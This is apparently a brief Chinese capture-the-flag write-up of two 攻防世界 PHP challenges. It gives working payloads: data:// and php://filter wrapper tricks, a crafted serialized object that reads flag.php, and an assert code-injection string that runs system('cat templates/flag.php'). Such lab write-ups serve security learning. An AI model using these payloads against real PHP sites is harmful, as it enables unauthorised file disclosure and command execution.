又是好久一更。。。假期事有点多
nizhuansiwei[来自攻防世界]
test的内容可以通过data伪协议
下面file用file伪协议可以读取useless.php的内容
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
伪协议读取useless.php的源码
因为上一个文件反序列化之后有个echo可以触发__tostring()
所以我们需要构造序列化之后的内容,使其file=‘flag.php’
最后payload
http://111.200.241.244:47531/?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}
mfw
提示很明显有git泄露
闭合strpos,利用命令执行。
?page=’.system(“cat templates/flag.php”).’
得到flag。
有一说一。。。assert对代码格式的要求真的是。。。低到离谱